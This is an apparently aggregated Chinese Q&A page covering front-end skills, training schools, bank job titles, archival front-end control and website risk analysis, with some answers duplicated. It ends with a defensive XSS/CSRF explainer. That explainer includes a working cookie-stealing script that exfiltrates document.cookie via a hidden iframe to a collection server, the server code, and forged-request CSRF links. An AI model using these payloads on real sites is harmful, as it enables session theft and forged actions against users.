⑴ 网站前端开发都需要掌握哪些知识
我们都知道网站开发分为 前端（客户端）和 后端（服务器端）两个部分。网站开发 后端 更多的是与数据库进行交互以处理相应的业务逻辑。需要考虑的是如何实现功能、数据的存取、平台的稳定性与性能等。至于 前端，在这里泛指Web前端，也就是在Web应用中用户可以看得见碰得着的东西。包括Web页面的结构、Web的外观视觉表现以及Web层面的交互实现。主要负责实现视觉和交互效果，以及与服务器通信，完成业务逻辑。它的核心价值在于实现用户体验，大型互联网公司的用户体验部门，一般会包括用户研究、交互设计、前端技术和视觉设计等方面的内容。
作为一名网站前端开发者，以下的知识是不可或缺的：
1HTMLHTML即HyperText Markup Languag，超级文本标记语言。这是网站开发中最简单的，也是最基础的内容，几乎所有的开发者都必须首先经历这个环节。必须要熟练掌握div、form、table、li 、p、span、font等等标签，这些都是最常用的。其中尤其需要注意div和table这两个，算是用到最多的内容。div用于布局；table用来和数据打交道（虽然table也可以用于布局,但是并不灵活）。
2CSSCSS即Cascading style Sheets层叠样式表，其中css3我们先不谈。CSS主要用于辅助html来布局和展示，我们称之为“css样式”。对于css要掌握的内容主要包括float、position、width、height、overflow、margin、padding等等,这些都是跟布局有关系的样式。不管你用什么工具软件制作网页，其实都有在有意无意地使用CSS。用好CSS能使你的网页更加简炼，为什么同样内容的网页，有的人做出来有几十KB，而高手做出来只有十几KB，CSS在其中的作用是不言而喻的。
3JSJS即JavaScript，作为一种直译式脚本语言，是一种动态类型、弱类型、基于原型的语言，内置支持类型。它的解释器被称为JavaScript引擎，为浏览器的一部分，广泛用于客户端的脚本语言，最早是在HTML（标准通用标记语言下的一个应用）网页上使用，用来给HTML网页增加动态功能。我们所讲的前两个内容都很基础，接下来的东西可能接受起来有难度，但是事实上js入门算是比较简单的,不需要会很多东西的。基础点的内容只要会根据某个id、或者name拿到网页dom或者样式、或者值,然后会给某个id或者name的元素标签赋值、或者追加数据、追html,这个是跟数据有关系的操作,之后数据逻辑判断。至于效果方面的,无非就是跳转、弹框、隐藏什么的。当然，这些东西单独拿出来比较简单，但是实际中几乎没有这么简单的情况，很多时候都需要把这些各种各样地结合起来。
4JQueryJQuery说白了是一个JavaScript（JS）框架，相当于把js封装了一套的一个js插件，目的就是操作起来更方便,代码写的更少,它支持JS的常规操作以及一些扩展，比如图形等，对JSON格式也能很好的解析，ajax也做了封装，语法也比较简单。功能十分强大。jquery入门也很简单,那些是入门需要学的和js一样,只是换成了jq的代码。不好的地方是它将js语法与开发人员完全隔离，也就说你开发几年JQuery后还会不会用纯 编程都是个问题。
5CSS3+HTML5这是最近比较流行的内容了。HTML5在原有的基础上新增和移除了一些元素，提供了对表单的强大支持。它并非仅仅用来表示Web内容，它的新使命是将Web带入一个成熟的应用平台，在HTML 5平台上，视频，音频，图象，动画，以及同电脑的交互都被标准化。CSS3对于我们Web开发者来说不只是新奇的技术，更重要的是这些全新概念的web应用给我们带来更多无限的可能性，也极大地提高了我们的开发效率。我们将不必再依赖图片或者Javascript 去完成圆角、多背景、用户自定义字体、3D动画、渐变、盒阴影、文字阴影、透明度等提高Web设计质量的特色应用。
6简单后台语言作为一名前端开发者不仅需要掌握上面讲的有关前端的知识，还必须懂一点后台语言,比如java、php等等。因为前台界面的数据都是从后台来的,我们必须知道怎么跟后台交互数据。这样不仅能够节约时间，还可以让前端代码更规范，让后台开发者减少一些不必要的麻烦。否则的话，可能因为前台的写法和后端给来的数据不能结合上,导致前端代码必须重新编写。
⑵ 学习前端需要注意什么
前端前景是很不错的，像前端这样的专业还是一线城市比较好，师资力量跟得上、就业的薪资也是可观的，学习前端可以按照路线图的顺序，
0基础学习前端是没有问题的，关键是找到靠谱的前端培训机构，你可以深度了解机构的口碑情况，问问周围知道这家机构的人，除了口碑再了解机构的以下几方面：
1. 师资力量雄厚
要想有1+1>2的实际效果，很关键的一点是师资队伍，你接下来无论是找个工作还是工作中出任哪些的人物角色，都越来越爱你本身的技术专业前端技术性，也许的技术专业前端技术性则绝大多数来自你的技术专业前端教师，一个好的前端培训机构必须具备雄厚的师资力量。
2. 就业保障完善
实现1+1>2效果的关键在于能够为你提供良好的发展平台，即能够为你提供良好的就业保障，让学员能够学到实在实在的知识，并向前端学员提供一对一的就业指导，确保学员找到自己的心理工作。
3. 学费性价比高
一个好的前端培训机构肯定能给你带来1+1>2的效果，如果你在一个由专业的前端教师领导并由前端培训机构自己提供的平台上工作，你将获得比以往更多的投资。
希望你早日学有所成。
⑶ 去前端培训前，需要注意些什么
要对这所培训学校的整体进行先一步的考量，机构的整体风评怎么样，学员毕业后的就业前景如何，学到的知识够不够深入以及学员对培训学校的风评如何等等，考量清楚后再去报名会比较好。
如果报名了就需要你好好的学习，因为技术这门专业如果不打好基础，后期毕业开始工作自学等会举步维艰。
⑷ 前端风险督查员是做什么的
交行内部系统下发的件进行上门核实信息
⑸ 做了一年前端，应该掌握些什么
JavaScript、Jquery、CSS3、HTML5、Ajax、DOM、BOM，在精通这些技术的同时，还要清楚地了解它们在不同浏览器上的兼容情况、渲染原理和存在的Bug，反正需要学习的知识也不少吧。
希望可以帮到您，谢谢！
⑹ 交通银行前端风险督察是做什么的，正式编制吗工资多少啊有干头吗相关的还知道什么，请各位大神帮忙
名字挺神的，我感觉就是会计柜上的事中监督。供参考。
⑺ 前端控制的原则
前端控制是现代文件管理理念之一，即在文件形成之时就介入其质量控制。按文件生命周期划分阶段，地质资料的“形成”之时是前端，“鉴定、整理、编目、入库、借阅”等具体操作为中端，“销毁”是末端。在纸质载体档案管理中，传统上称归档前的为科技文件材料，归档后称地质资料。科技文件材料的产生是在工程作业现场或地质研究场所，特别是在勘探开发工程作业现场，首先接触到地质科技文件材料的是负责生产管理的工程技术人员。现场记录的文字与数据就产生于现场技术人员之手，在没有移交资料管理人员之前，就是他们管理着地质科技文件材料，也就是他们处在地质资料管理的前端。电子文件和数据采集也出自他们的工作过程。前端控制是全程管理的重要前提。地质资料管理的前端控制概念是20世纪后期提出来的。有人怀疑前端控制，认为这超出地质资料管理工作范围，有越位之嫌。但作者认为前端控制有以下的必要性：
(一)是保证资料真实可靠、完整规范、可识别的前提
各类地质报告在形成初期，文字材料有初稿、二稿和终稿之分，电子文件也具有易流失、易删改特性，很容易出现差错，在源头出现差错若不能及时发现和改正，这件地质资料质量就没有保证，运用于指导勘探工程，不但造成工程时间上的不可弥补，探矿工程的经费损失也是非常大的。若错了的勘探数据信息，没有被发现，用来误导接下来的处理、解释和研究，其损失更大。花费大量人力、物力、财力的勘探开发工程，取得的地质资料不完整，或者电子文件读不出来，或数据信息是错的，后果是严重的。地质科技文件材料与数据产生后，即需标明责任者，电子文件就该及时赋予标识，防止修改，防止删除，并附有背景说明。
(二)可优化管理，提高管理效率
传统的地质资料管理，其前端是对归档的地质科技文件材料进行整理、编号、标识、入库。归档前的地质科技文件材料管理没有进入全程管理的视野，也无章法可循，一般由地质科技人员或工程技术人员保管，对质量也无规范性要求。实施前端控制后，使整个地质资料管理成了一个体系，标准、规范一贯到底，不但与工程施工、实验分析、数据处理、地质研究环环紧密相扣，还能促成地质资料管理业务流程一体化，减少乃至消除地质资料归档前、归档后的管理管理环节疏漏或重复，达到功能合理，效率更高的效果。
现在的工程设备上地质资料的产生，大多为机出资料，自动打印。也有人工记录，如施工班报、生产日报等，但人工记录也都是计算机制作相关文字和报表。在文件形成的同时，将文件内容进行描述、文件结构、背景、版本、数据生成环境、存在状态等方面的信息进行采集。如钻井的基础数据，文字性资料的着录项等，这些数据是一次采集，全程使用。这种方法可以避免在地质资料归档着录时的重复采集及其由于二次或多次数据采集输入而出现的出错概率。
以前地质资料管理部门，对前端产生了哪些地质资料，什么时间应该归档心中无数，质量评判也缺乏依据。实行前端控制后，对产生的地质资料的数量和质量参与了控制，可以及时调剂利用和通知入馆归档。
⑻ 参加挑战杯创业大赛设计一个网站，计划书里关于风险分析和风险评估应该怎么写，求大神指导！急
首先要理解含义：
1、风险分析有狭义和广义两种，狭义的风险分析是指通过定量分析的方法给出完成任务所需的费用、进度、性能三个随机变量的可实现值的概率分布。而广义的风险分析则是一种识别和测算风险，开发、选择和管理方案来解决这些风险的有组织的手段。它包括风险识别、风险评估和风险管理三方面的内容。
2、风险评估是指，在风险事件发生之后，对于风险事件给人们的生活、生命、财产等各个方面造成的影响和损失进行量化评估的工作。
再来看网站的风险评估是什么含义：
是对风险进行定性分析，确定风险发生的概率和后果，并依据风险对项目目标的影响程度对项目风险进行等级排序。 对于任何软件的开发，其主要风险均来自于两个方面，一是网站管理，二是网站体系结构。
风险主要来自以下几个方面
1、网站进度风险：即网站是否能够按工期的要求完成。网站构建是一个大型的开发项目，涉及到网站的前端和后台开发，也涉及到整个网站的工作运行流程，而该项目的上线时间是不能改变的，所以项目进度是一个签字的风险。如果，不能按时完成，则大量需要文档进行协调的工作时，致使开发进度越来越慢。网站的开发不同于其他的工程，在不同的工程阶段，需要的人员不同，需要配合的方面也不同，所有这些都需要行之有效的软件管理的保证。
2、网站需求风险：开发是以用户的需求开始，在大多数情况下，用户需求要靠网站开发方诱导才能保证需求的完整，再以书面的形式形成《用户需求》这一重要的文档。需求分析更多的是开发方确认需求的可行性和一致性的过程，在此阶段需要和用户进行广泛的交流和确认。需求和需求分析的任何疏漏造成的损失会在软件系统的后续阶段被一级一级地放大，因 此本阶段的风险很大。
3、技术开发风险：本网站的开发主要用到了javascript作为前台开发和servelet后台相结合的结构体系，并设计到了Orcle的数据库部分。组件和构件技术都是为了提高网站的可靠性和网站的友好性而采用的技术手段。从技术成熟度上说不存在风险，但为了实现良好的网站构架和客户体验度，与传统开发方法比较，有相当的多的额外工作需要做，这会给项目工期带来一定的风险，但影响较小。
4、网站质量体系风险：任何网站管理忽略软件质量监督环节都将对网站的生产构成巨大的风险。网站的质量体系集中在开发中的测试阶段和最后的维护阶段。随着网站系统的不断扩大，需要不断的对网站的体系进行维护和改进，如果监督不到位，技术支持体系将会无效运转，造成损失。
5、网站设计风险：本身的风险主要来自于系统分析人员。分析人员在设计网站结构时过于定制，网站的友好型和实用性较弱，会给后期维护带来巨大的负担，和维护成本的激增。对用户来说网站的点击比例会有明显的折扣，甚至造成访问量急剧减少。反之，网站结构的过于灵活和通用，必然引起网站开发的难度增加，网站的复杂度会上升，这又会在实现和测试阶段带来风险，网站的稳定性也会受到影响。所以，该风险巨大。
6、人员流失风险：在网站开发过程中，有两种可能导致人员流失：一是工作乏味且压力过大，二是积累了开发经验，寻求更高发展。过程中，项目人员流动会对项目开发造成很大的影响，因为每一块的内容都是分配下去的，一环出现空缺，会导致后续开发无法进行下去，即使替补，也是因为两者理念不同，而增加理解过程，导致网站开发进度变慢，影响严重。
希望对你有用
3、技术开发风险：本网站的开发主要用到了javascript作为前台开发和servelet后台相结合的结构体系，并设计到了Orcle的数据库部分。组件和构件技术都是为了提高网站的可靠性和网站的友好性而采用的技术手段。从技术成熟度上说不存在风险，但为了实现良好的网站构架和客户体验度，与传统开发方法比较，有相当的多的额外工作需要做，这会给项目工期带来一定的风险，但影响较小。 4、网站质量体系风险：任何网站管理忽略软件质量监督环节都将对网站的生产构成巨大的风险。网站的质量体系集中在开发中的测试阶段和最后的维护阶段。随着网站系统的不断扩大，需要不断的对网站的体系进行维护和改进，如果监督不到位，技术支持体系将会无效运转，造成损失。 5、网站设计风险：本身的风险主要来自于系统分析人员。分析人员在设计网站结构时过于定制，网站的友好型和实用性较弱，会给后期维护带来巨大的负担，和维护成本的激增。对用户来说网站的点击比例会有明显的折扣，甚至造成访问量急剧减少。反之，网站结构的过于灵活和通用，必然引起网站开发的难度增加，网站的复杂度会上升，这又会在实现和测试阶段带来风险，网站的稳定性也会受到影响。所以，该风险巨大。 6、人员流失风险：在网站开发过程中，有两种可能导致人员流失：一是工作乏味且压力过大，二是积累了开发经验，寻求更高发展。过程中，项目人员流动会对项目开发造成很大的影响，因为每一块的内容都是分配下去的，一环出现空缺，会导致后续开发无法进行下去，即使替补，也是因为两者理念不同，而增加理解过程，导致网站开发进度变慢，影响严重。 网站总体风险等级
⑼ 交通银行太平洋信用卡中心前端风险督察员是做什么的
主要是对持卡人的消费还款进行风险预估和控制。
⑽ 前端安全方面有没有了解xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 sql 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题&content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。